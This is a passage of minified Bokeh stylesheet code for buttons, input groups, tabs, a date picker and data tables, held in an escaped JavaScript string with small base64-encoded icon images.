.bk-bs-btn-group>.bk-bs-btn+.bk-bs-dropdown-toggle{padding-left:8px;padding-right:8px}.bk-root .bk-bs-btn-group>.bk-bs-btn-lg+.bk-bs-dropdown-toggle{padding-left:12px;padding-right:12px}.bk-root .bk-bs-btn-group.bk-bs-open .bk-bs-dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.bk-root .bk-bs-btn-group.bk-bs-open .bk-bs-dropdown-toggle.bk-bs-btn-link{-webkit-box-shadow:none;box-shadow:none}.bk-root .bk-bs-btn .bk-bs-caret{margin-left:0}.bk-root .bk-bs-btn-lg .bk-bs-caret{border-width:5px 5px 0;border-bottom-width:0}.bk-root .bk-bs-dropup .bk-bs-btn-lg .bk-bs-caret{border-width:0 5px 5px}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group>.bk-bs-btn{display:block;float:none;width:100%;max-width:100%}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group>.bk-bs-btn{float:none}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn+.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn+.bk-bs-btn-group,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group+.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group+.bk-bs-btn-group{margin-top:-1px;margin-left:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:not(:first-child):not(:last-child){border-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:first-child:not(:last-child){border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:last-child:not(:first-child){border-bottom-left-radius:4px;border-top-right-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:not(:first-child):not(:last-child)>.bk-bs-btn{border-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:first-child:not(:last-child)>.bk-bs-btn:last-child,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:first-child:not(:last-child)>.bk-bs-dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:last-child:not(:first-child)>.bk-bs-btn:first-child{border-top-right-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.bk-root .bk-bs-btn-group-justified>.bk-bs-btn,.bk-root .bk-bs-btn-group-justified>.bk-bs-btn-group{float:none;display:table-cell;width:1%}.bk-root .bk-bs-btn-group-justified>.bk-bs-btn-group .bk-bs-btn{width:100%}.bk-root .bk-bs-btn-group>.bk-bs-btn>input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-btn-group>.bk-bs-btn>input[type=\\\\\\\"checkbox\\\\\\\"]{display:none}.bk-root .bk-bs-input-group{position:relative;display:table;border-collapse:separate}.bk-root .bk-bs-input-group[class*=\\\\\\\"col-\\\\\\\"]{float:none;padding-left:0;padding-right:0}.bk-root .bk-bs-input-group .bk-bs-form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.bk-root .bk-bs-input-group-lg>.bk-bs-form-control,.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn{height:42px;padding:10px 16px;font-size:15px;line-height:1.33;border-radius:6px}select.bk-root .bk-bs-input-group-lg>.bk-bs-form-control,select.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,select.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn{height:42px;line-height:42px}textarea.bk-root .bk-bs-input-group-lg>.bk-bs-form-control,textarea.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,textarea.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn,select[multiple].bk-root .bk-bs-input-group-lg>.bk-bs-form-control,select[multiple].bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,select[multiple].bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn{height:auto}.bk-root .bk-bs-input-group-sm>.bk-bs-form-control,.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn{height:28px;padding:5px 10px;font-size:11px;line-height:1.5;border-radius:3px}select.bk-root .bk-bs-input-group-sm>.bk-bs-form-control,select.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,select.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn{height:28px;line-height:28px}textarea.bk-root .bk-bs-input-group-sm>.bk-bs-form-control,textarea.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,textarea.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn,select[multiple].bk-root .bk-bs-input-group-sm>.bk-bs-form-control,select[multiple].bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,select[multiple].bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn{height:auto}.bk-root .bk-bs-input-group-addon,.bk-root .bk-bs-input-group-btn,.bk-root .bk-bs-input-group .bk-bs-form-control{display:table-cell}.bk-root .bk-bs-input-group-addon:not(:first-child):not(:last-child),.bk-root .bk-bs-input-group-btn:not(:first-child):not(:last-child),.bk-root .bk-bs-input-group .bk-bs-form-control:not(:first-child):not(:last-child){border-radius:0}.bk-root .bk-bs-input-group-addon,.bk-root .bk-bs-input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.bk-root .bk-bs-input-group-addon{padding:6px 12px;font-size:12px;font-weight:normal;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.bk-root .bk-bs-input-group-addon.bk-bs-input-sm{padding:5px 10px;font-size:11px;border-radius:3px}.bk-root .bk-bs-input-group-addon.bk-bs-input-lg{padding:10px 16px;font-size:15px;border-radius:6px}.bk-root .bk-bs-input-group-addon input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-input-group-addon input[type=\\\\\\\"checkbox\\\\\\\"]{margin-top:0}.bk-root .bk-bs-input-group .bk-bs-form-control:first-child,.bk-root .bk-bs-input-group-addon:first-child,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn-group>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-dropdown-toggle,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn:not(:last-child):not(.bk-bs-dropdown-toggle),.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn-group:not(:last-child)>.bk-bs-btn{border-bottom-right-radius:0;border-top-right-radius:0}.bk-root .bk-bs-input-group-addon:first-child{border-right:0}.bk-root .bk-bs-input-group .bk-bs-form-control:last-child,.bk-root .bk-bs-input-group-addon:last-child,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn-group>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-dropdown-toggle,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn:not(:first-child),.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn-group:not(:first-child)>.bk-bs-btn{border-bottom-left-radius:0;border-top-left-radius:0}.bk-root .bk-bs-input-group-addon:last-child{border-left:0}.bk-root .bk-bs-input-group-btn{position:relative;font-size:0;white-space:nowrap}.bk-root .bk-bs-input-group-btn>.bk-bs-btn{position:relative}.bk-root .bk-bs-input-group-btn>.bk-bs-btn+.bk-bs-btn{margin-left:-1px}.bk-root .bk-bs-input-group-btn>.bk-bs-btn:hover,.bk-root .bk-bs-input-group-btn>.bk-bs-btn:focus,.bk-root .bk-bs-input-group-btn>.bk-bs-btn:active{z-index:2}.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn-group{margin-right:-1px}.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn-group{margin-left:-1px}.bk-root .bk-bs-nav{margin-bottom:0;padding-left:0;list-style:none}.bk-root .bk-bs-nav>li{position:relative;display:block}.bk-root .bk-bs-nav>li>span{position:relative;display:block;padding:10px 15px}.bk-root .bk-bs-nav>li>span:hover,.bk-root .bk-bs-nav>li>span:focus{text-decoration:none;background-color:#eee}.bk-root .bk-bs-nav>li.bk-bs-disabled>span{color:#999}.bk-root .bk-bs-nav>li.bk-bs-disabled>span:hover,.bk-root .bk-bs-nav>li.bk-bs-disabled>span:focus{color:#999;text-decoration:none;background-color:transparent;cursor:not-allowed}.bk-root .bk-bs-nav-tabs{border-bottom:1px solid #ddd}.bk-root .bk-bs-nav-tabs>li{float:left;margin-bottom:-1px}.bk-root .bk-bs-nav-tabs>li>span{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.bk-root .bk-bs-nav-tabs>li>span:hover{border-color:#eee #eee #ddd;cursor:pointer}.bk-root .bk-bs-nav-tabs>li.bk-bs-active>span,.bk-root .bk-bs-nav-tabs>li.bk-bs-active>span:hover,.bk-root .bk-bs-nav-tabs>li.bk-bs-active>span:focus{color:#555;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default}.bk-root .bk-bs-tab-content>.bk-bs-tab-pane{display:none}.bk-root .bk-bs-tab-content>.bk-bs-active{display:block}.bk-root .pika-single{z-index:9999;display:block;position:relative;color:#333;background:#fff;border:1px solid #ccc;border-bottom-color:#bbb;font-family:\\\\\\\"Helvetica Neue\\\\\\\",Helvetica,Arial,sans-serif}.bk-root .pika-single:before,.bk-root .pika-single:after{content:\\\\\\\" \\\\\\\";display:table}.bk-root .pika-single:after{clear:both}.bk-root .pika-single{*zoom:1}.bk-root .pika-single.is-hidden{display:none}.bk-root .pika-single.is-bound{position:absolute;box-shadow:0 5px 15px -5px rgba(0,0,0,0.5)}.bk-root .pika-lendar{float:left;width:240px;margin:8px}.bk-root .pika-title{position:relative;text-align:center}.bk-root .pika-label{display:inline-block;*display:inline;position:relative;z-index:9999;overflow:hidden;margin:0;padding:5px 3px;font-size:14px;line-height:20px;font-weight:bold;background-color:#fff}.bk-root .pika-title select{cursor:pointer;position:absolute;z-index:9998;margin:0;left:0;top:5px;filter:alpha(opacity=0);opacity:0}.bk-root .pika-prev,.bk-root .pika-next{display:block;cursor:pointer;position:relative;outline:0;border:0;padding:0;width:20px;height:30px;text-indent:20px;white-space:nowrap;overflow:hidden;background-color:transparent;background-position:center center;background-repeat:no-repeat;background-size:75% 75%;opacity:.5;*position:absolute;*top:0}.bk-root .pika-prev:hover,.bk-root .pika-next:hover{opacity:1}.bk-root .pika-prev,.bk-root .is-rtl .pika-next{float:left;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAAUklEQVR42u3VMQoAIBADQf8Pgj+OD9hG2CtONJB2ymQkKe0HbwAP0xucDiQWARITIDEBEnMgMQ8S8+AqBIl6kKgHiXqQqAeJepBo/z38J/U0uAHlaBkBl9I4GwAAAABJRU5ErkJggg==');*left:0}.bk-root .pika-next,.bk-root .is-rtl .pika-prev{float:right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAAU0lEQVR42u3VOwoAMAgE0dwfAnNjU26bYkBCFGwfiL9VVWoO+BJ4Gf3gtsEKKoFBNTCoCAYVwaAiGNQGMUHMkjGbgjk2mIONuXo0nC8XnCf1JXgArVIZAQh5TKYAAAAASUVORK5CYII=');*right:0}.bk-root .pika-prev.is-disabled,.bk-root .pika-next.is-disabled{cursor:default;opacity:.2}.bk-root .pika-select{display:inline-block;*display:inline}.bk-root .pika-table{width:100%;border-collapse:collapse;border-spacing:0;border:0}.bk-root .pika-table th,.bk-root .pika-table td{width:14.285714285714286%;padding:0}.bk-root .pika-table th{color:#999;font-size:12px;line-height:25px;font-weight:bold;text-align:center}.bk-root .pika-button{cursor:pointer;display:block;box-sizing:border-box;-moz-box-sizing:border-box;outline:0;border:0;margin:0;width:100%;padding:5px;color:#666;font-size:12px;line-height:15px;text-align:right;background:#f5f5f5}.bk-root .pika-week{font-size:11px;color:#999}.bk-root .is-today .pika-button{color:#3af;font-weight:bold}.bk-root .is-selected .pika-button,.bk-root .has-event .pika-button{color:#fff;font-weight:bold;background:#3af;box-shadow:inset 0 1px 3px #178fe5;border-radius:3px}.bk-root .has-event .pika-button{background:#005da9;box-shadow:inset 0 1px 3px #0076c9}.bk-root .is-disabled .pika-button,.bk-root .is-inrange .pika-button{background:#d5e9f7}.bk-root .is-startrange .pika-button{color:#fff;background:#6cb31d;box-shadow:none;border-radius:3px}.bk-root .is-endrange .pika-button{color:#fff;background:#3af;box-shadow:none;border-radius:3px}.bk-root .is-disabled .pika-button{pointer-events:none;cursor:default;color:#999;opacity:.3}.bk-root .is-outside-current-month .pika-button{color:#999;opacity:.3}.bk-root .is-selection-disabled{pointer-events:none;cursor:default}.bk-root .pika-button:hover,.bk-root .pika-row.pick-whole-week:hover .pika-button{color:#fff;background:#ff8000;box-shadow:none;border-radius:3px}.bk-root .pika-table abbr{border-bottom:0;cursor:help}.bk-root .bk-widget-box{overflow:visible;padding:5px 10px}.bk-root .bk-widget label{margin-bottom:2px}.bk-root .bk-widget{margin-top:10px}.bk-root .bk-widget h1:first-child,.bk-root .bk-widget h2:first-child,.bk-root .bk-widget h3:first-child,.bk-root .bk-widget h4:first-child,.bk-root .bk-widget h5:first-child,.bk-root .bk-widget h6:first-child,.bk-root .bk-widget p:first-child{margin-top:0}.bk-root .bk-widget-form-input{display:block;height:31px;padding:0 12px;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px}.bk-root .bk-widget-form-input:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6)}.bk-root .bk-widget-form-input::-moz-placeholder{color:#999;opacity:1}.bk-root .bk-widget-form-input:-ms-input-placeholder{color:#999}.bk-root .bk-widget-form-input::-webkit-input-placeholder{color:#999}.bk-root .bk-widget-form-input[disabled],.bk-root .bk-widget-form-input[readonly],fieldset[disabled] .bk-root .bk-widget-form-input{cursor:not-allowed;background-color:#eee;opacity:1}textarea.bk-root .bk-widget-form-input{height:auto}.bk-root .bk-widget button{min-width:100%}.bk-root .bk-widget input[type=\\\\\\\"text\\\\\\\"]{min-width:90%}.bk-root .bk-widget select{min-width:97%}.bk-root .bk-bs-dropdown-toggle .bk-bs-caret{margin-left:5px}.bk-root .bk-bs-dropdown-menu{width:100%}.bk-root .bk-bs-nav-tabs{overflow:hidden}.bk-root .bk-slider label{margin-right:5px}.bk-root .bk-slider .bk-slider-value{display:inline-block;font-weight:600}.bk-root .bk-slider input,.bk-root .bk-slider .bk-slider-value{margin-bottom:5px}\\\\n/* END bokeh-widgets.min.css */\\\");\\n      console.log(\\\"Bokeh: injecting raw CSS\\\");\\n      Bokeh.embed.inject_raw_css(\\\"/* BEGIN bokeh-tables.min.css */\\\\n.bk-root .slick-header.ui-state-default,.bk-root .slick-headerrow.ui-state-default,.bk-root .slick-footerrow.ui-state-default{width:100%;overflow:hidden;border-left:0 !important}.bk-root .slick-header-columns,.bk-root .slick-headerrow-columns,.bk-root .slick-footerrow-columns{position:relative;white-space:nowrap;cursor:default;overflow:hidden}.bk-root .slick-header-column.ui-state-default{position:relative;display:inline-block;overflow:hidden;-o-text-overflow:ellipsis;text-overflow:ellipsis;height:16px;line-height:16px;margin:0;padding:4px;border-right:1px solid silver;border-left:0 !important;border-top:0 !important;border-bottom:0 !important;float:left}.bk-root .slick-headerrow-column.ui-state-default,.bk-root .slick-footerrow-column.ui-state-default{padding:4px}.bk-root .slick-header-column-sorted{font-style:italic}.bk-root .slick-sort-indicator{display:inline-block;width:8px;height:5px;margin-left:4px;margin-top:6px;float:left}.bk-root .slick-sort-indicator-numbered{display:inline-block;width:8px;height:5px;margin-left:4px;margin-top:0;padding-left:1px;line-height:20px;float:left;font-family:Arial;font-style:normal;font-weight:bold;color:#6190cd}.bk-root .slick-sort-indicator-desc{background:url(images/sort-desc.gif)}.bk-root .slick-sort-indicator-asc{background:url(images/sort-asc.gif)}.bk-root .slick-resizable-handle{position:absolute;font-size:.1px;display:block;cursor:col-resize;width:4px;right:0;top:0;height:100%}.bk-root .slick-sortable-placeholder{background:silver}.bk-root .grid-canvas{position:relative;outline:0}.bk-root .slick-row.ui-widget-content,.bk-root .slick-row.ui-state-active{position:absolute;border:0;width:100%}.bk-root .slick-cell,.bk-root .slick-headerrow-column,.bk-root .slick-footerrow-column{position:absolute;border:1px solid transparent;border-right:1px dotted silver;border-bottom-color:silver;overflow:hidden;-o-text-overflow:ellipsis;text-overflow:ellipsis;vertical-align:middle;z-index:1;padding:1px 2px 2px 1px;margin:0;white-space:nowrap;cursor:default}.bk-root .slick-cell,.bk-root .slick-headerrow-column{border-bottom-color:silver}.bk-root .slick-footerrow-column{border-top-color:silver}.bk-root .slick-group-toggle{display:inline-block}.bk-root .slick-cell.highlighted{background:lightskyblue;background:rgba(0,0,255,0.2);-webkit-transition:all .5s;-moz-transition:all .5s;-o-transition:all .5s;transition:all .5s}.bk-root .slick-cell.flashing{border:1px solid red !important}.bk-root .slick-cell.editable{z-index:11;overflow:visible;background:white;border-color:black;border-style:solid}.bk-root .slick-cell:focus{outline:0}.bk-root .slick-reorder-proxy{display:inline-block;background:blue;opacity:.15;cursor:move}.bk-root .slick-reorder-guide{display:inline-block;height:2px;background:blue;opacity:.7}.bk-root .slick-selection{z-index:10;position:absolute;border:2px dashed black}.bk-root .slick-header-columns{background:url('images/header-columns-bg.gif') repeat-x center bottom;border-bottom:1px solid silver}.bk-root .slick-header-column{background:url('images/header-columns-bg.gif') repeat-x center bottom;border-right:1px solid silver}.bk-root .slick-header-column:hover,.bk-root .slick-header-column-active{background:white url('images/header-columns-over-bg.gif') repeat-x center bottom}.bk-root .slick-headerrow{background:#fafafa}.bk-root .slick-headerrow-column{background:#fafafa;border-bottom:0;height:100%}.bk-root .slick-row.ui-state-active{background:#f5f7d7}.bk-root .slick-row{position:absolute;background:white;border:0;line-height:20px}.bk-root .slick-row.selected{z-index:10;background:#dfe8f6}.bk-root .slick-cell{padding-left:4px;padding-right:4px}.bk-root .slick-group{border-bottom:2px solid silver}.bk-root .slick-group-toggle{width:9px;height:9px;margin-right:5px}.bk-root .slick-group-toggle.expanded{background:url(images/collapse.gif) no-repeat center center}.bk-root .slick-group-toggle.collapsed{background:url(images/expand.gif) no-repeat center center}.bk-root .slick-group-totals{color:gray;background:white}.bk-root .slick-group-select-checkbox{width:13px;height:13px;margin:3px 10px 0 0;display:inline-block}.bk-root .slick-group-select-checkbox.checked{background:url(images/GrpCheckboxY.png) no-repeat center center}.bk-root .slick-group-select-checkbox.unchecked{background:url(images/GrpCheckboxN.png) no-repeat center center}.bk-root .slick-cell.selected{background-color:beige}.bk-root .slick-cell.active{border-color:gray;border-style:solid}.bk-root .slick-sortable-placeholder{background:silver !important}.bk-root .slick-row.odd{background:#fafafa}.bk-root .slick-row.ui-state-active{background:#f5f7d7}.bk-root .slick-row.loading{opacity:.5}.bk-root .slick-cell.invalid{border-color:red;-moz-animation-duration:.2s;-webkit-animation-duration:.2s;-moz-animation-name:slickgrid-invalid-hilite;-webkit-animation-name:slickgrid-invalid-hilite}@-moz-keyframes slickgrid-invalid-hilite{from{box-shadow:0 0 6px red}to{box-shadow:none}}@-webkit-keyframes slickgrid-invalid-hilite{from{box-shadow:0 0 6px red}to{box-shadow:none}}.bk-root .slick-column-name,.bk-root .slick-sort-indicator{display:inline-block;float:left;margin-bottom:100px}.bk-root .slick-header-button{display:inline-block;float:right;vertical-align:top;margin:1px;margin-bottom:100px;height:15px;width:15px;background-repeat:no-repeat;background-position:center center;cursor:pointer}.bk-root .slick-header-button-hidden{width:0;-webkit-transition:.2s width;-ms-transition:.2s width;transition:.2s width}.bk-root .slick-header-column:hover>.slick-header-button{width:15px}.bk-root .slick-header-menubutton{position:absolute;right:0;top:0;bottom:0;width:14px;background-repeat:no-repeat;background-position:left center;background-image:url(../images/down.gif);cursor:pointer;display:none;border-left:thin ridge silver}.bk-root .slick-header-column:hover>.slick-header-menubutton,.bk-root .slick-header-column-active .slick-header-menubutton{display:inline-block}.bk-root .slick-header-menu{position:absolute;display:inline-block;margin:0;padding:2px;cursor:default}.bk-root .slick-header-menuitem{list-style:none;margin:0;padding:0;cursor:pointer}.bk-root .slick-header-menuicon{display:inline-block;width:16px;height:16px;vertical-align:middle;margin-right:4px;background-repeat:no-repeat;background-position:center center}.bk-root .slick-header-menucontent{display:inline-block;vertical-align:middle}.bk-root .slick-header-menuitem-disabled{color:silver}.bk-root .slick-columnpicker{border:1px solid #718bb7;background:#f0f0f0;padding:6px;-moz-box-shadow:2px 2px 2px silver;-webkit-box-shadow:2px 2px 2px silver;box-shadow:2px 2px 2px silver;min-width:100px;cursor:default}.bk-root .slick-columnpicker li{list-style:none;margin:0;padding:0;background:0}.bk-root .slick-columnpicker input{margin:4px}.bk-root .slick-columnpicker li a{display:block;padding:4px;font-weight:bold}.bk-root .slick-columnpicker li a:hover{background:white}.bk-root .slick-pager{width:100%;height:26px;border:1px solid gray;border-top:0;background:url('../images/header-columns-bg.gif') repeat-x center bottom;vertical-align:middle}.bk-root .slick-pager .slick-pager-status{display:inline-block;padding:6px}.bk-root .slick-pager .ui-icon-container{display:inline-block;margin:2px;border-color:gray}.bk-root .slick-pager .slick-pager-nav{display:inline-block;float:left;padding:2px}.bk-root .slick-pager .slick-pager-settings{display:block;float:right;padding:2px}.bk-root .slick-pager .slick-pager-settings *{vertical-align:middle}.bk-root .slick-pager .slick-pager-settings a{padding:2px;text-decoration:underline;cursor:pointer}.bk-root .slick-header-columns{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAYAIcAANDQ0Ovs7uzt7+3u8O7v8e/w8vDx8/Hy9Pn5+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABgAAAghABEIHEiwYMEDCA8YWMiwgMMCBAgMmDhAgIAAGAMAABAQADs=\\\\\\\")}.bk-root .slick-header-column{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAYAIcAANDQ0Ovs7uzt7+3u8O7v8e/w8vDx8/Hy9Pn5+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABgAAAghABEIHEiwYMEDCA8YWMiwgMMCBAgMmDhAgIAAGAMAABAQADs=\\\\\\\")}.bk-root .slick-header-column:hover,.bk-root .slick-header-column-active{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAWAIcAAKrM9tno++vz/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABYAAAgUAAUIHEiwoIAACBMqXMhwIQAAAQEAOw==\\\\\\\")}.bk-root 